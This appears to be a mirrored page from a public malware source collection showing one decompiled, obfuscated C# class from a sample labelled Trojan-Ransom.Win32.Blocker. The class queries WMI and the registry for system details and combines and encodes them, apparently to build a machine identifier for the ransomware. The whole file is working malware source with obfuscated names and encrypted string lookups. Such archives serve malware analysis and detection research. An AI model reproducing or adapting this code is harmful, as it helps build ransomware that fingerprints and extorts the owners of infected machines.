mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 03:16:11 +00:00
f2ac1ece55
add
71 lines
4.2 KiB
C#
71 lines
4.2 KiB
C#
// Decompiled with JetBrains decompiler
|
|
// Type: A.c3037471a929a2c4f79d69973718345fa
|
|
// Assembly: Sharl, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
|
// MVID: F11368F2-49D5-4A01-9284-978C5FDD6F03
|
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Ransom.Win32.Blocker.hejd-d602e69d871803e54a9edd4b87d241c904ab59014cfd496853fc6cc688c16570.exe
|
|
|
|
using Microsoft.Win32;
|
|
using System;
|
|
using System.Management;
|
|
|
|
namespace A
|
|
{
|
|
internal class c3037471a929a2c4f79d69973718345fa
|
|
{
|
|
public string c738d27e0c9d7bf012cc5f99d4e1976d7() => this.cb6dcfcc6a5b19bdf121f6143ff6d7f33() + c25810691943c3772c89bee5b3c190ee0.c67f77785e5df280621394f94fff2ffdf(387) + this.ca7e5f7d544fbc3dcaf17e61fbab6e3dd();
|
|
|
|
public string c72aa46ec5ece51f7696deeb664e545ce()
|
|
{
|
|
string c45a1644c18560d9d988c8c135941ea96 = (this.c8399c5c4fcb71c18f3f458b674bb41c5() + this.ca6a4dd6f6e974a349cf2f38f0541f742() + this.c006e22094a7a882c42eb57a97d75a841()).ToString();
|
|
return c57ac7140997a29abffbea04a04f33fc6.c4a101047227d6769ba130216f202ea07.c31239248ceba059cc32e70ac96898ec2(c45a1644c18560d9d988c8c135941ea96);
|
|
}
|
|
|
|
private string cb6dcfcc6a5b19bdf121f6143ff6d7f33()
|
|
{
|
|
ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher(c25810691943c3772c89bee5b3c190ee0.c67f77785e5df280621394f94fff2ffdf(782), c25810691943c3772c89bee5b3c190ee0.c67f77785e5df280621394f94fff2ffdf(803));
|
|
string empty = string.Empty;
|
|
foreach (ManagementBaseObject managementBaseObject in managementObjectSearcher.Get())
|
|
empty = Convert.ToString(managementBaseObject[c25810691943c3772c89bee5b3c190ee0.c67f77785e5df280621394f94fff2ffdf(876)]);
|
|
try
|
|
{
|
|
string str = empty.Split('|')[0];
|
|
int length = str.Split(' ')[0].Length;
|
|
return str.Substring(length).TrimStart().TrimEnd();
|
|
}
|
|
catch
|
|
{
|
|
return c25810691943c3772c89bee5b3c190ee0.c67f77785e5df280621394f94fff2ffdf(885);
|
|
}
|
|
}
|
|
|
|
private string ca7e5f7d544fbc3dcaf17e61fbab6e3dd() => Registry.LocalMachine.OpenSubKey(c25810691943c3772c89bee5b3c190ee0.c67f77785e5df280621394f94fff2ffdf(914)).GetValue(c25810691943c3772c89bee5b3c190ee0.c67f77785e5df280621394f94fff2ffdf(1007)).ToString().Contains(c25810691943c3772c89bee5b3c190ee0.c67f77785e5df280621394f94fff2ffdf(1028)) ? c25810691943c3772c89bee5b3c190ee0.c67f77785e5df280621394f94fff2ffdf(1035) : c25810691943c3772c89bee5b3c190ee0.c67f77785e5df280621394f94fff2ffdf(1052);
|
|
|
|
private string c8399c5c4fcb71c18f3f458b674bb41c5()
|
|
{
|
|
ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher(c25810691943c3772c89bee5b3c190ee0.c67f77785e5df280621394f94fff2ffdf(782), c25810691943c3772c89bee5b3c190ee0.c67f77785e5df280621394f94fff2ffdf(1069));
|
|
string empty = string.Empty;
|
|
foreach (ManagementBaseObject managementBaseObject in managementObjectSearcher.Get())
|
|
empty = Convert.ToString(managementBaseObject[c25810691943c3772c89bee5b3c190ee0.c67f77785e5df280621394f94fff2ffdf(1176)]);
|
|
return empty;
|
|
}
|
|
|
|
private string c006e22094a7a882c42eb57a97d75a841()
|
|
{
|
|
ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher(c25810691943c3772c89bee5b3c190ee0.c67f77785e5df280621394f94fff2ffdf(782), c25810691943c3772c89bee5b3c190ee0.c67f77785e5df280621394f94fff2ffdf(1199));
|
|
string empty = string.Empty;
|
|
foreach (ManagementBaseObject managementBaseObject in managementObjectSearcher.Get())
|
|
empty = Convert.ToString(managementBaseObject[c25810691943c3772c89bee5b3c190ee0.c67f77785e5df280621394f94fff2ffdf(1258)]);
|
|
return empty;
|
|
}
|
|
|
|
public string ca6a4dd6f6e974a349cf2f38f0541f742()
|
|
{
|
|
ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher(c25810691943c3772c89bee5b3c190ee0.c67f77785e5df280621394f94fff2ffdf(782), c25810691943c3772c89bee5b3c190ee0.c67f77785e5df280621394f94fff2ffdf(1283));
|
|
string empty = string.Empty;
|
|
foreach (ManagementBaseObject managementBaseObject in managementObjectSearcher.Get())
|
|
empty = Convert.ToString(managementBaseObject[c25810691943c3772c89bee5b3c190ee0.c67f77785e5df280621394f94fff2ffdf(1354)]);
|
|
return empty;
|
|
}
|
|
}
|
|
}
|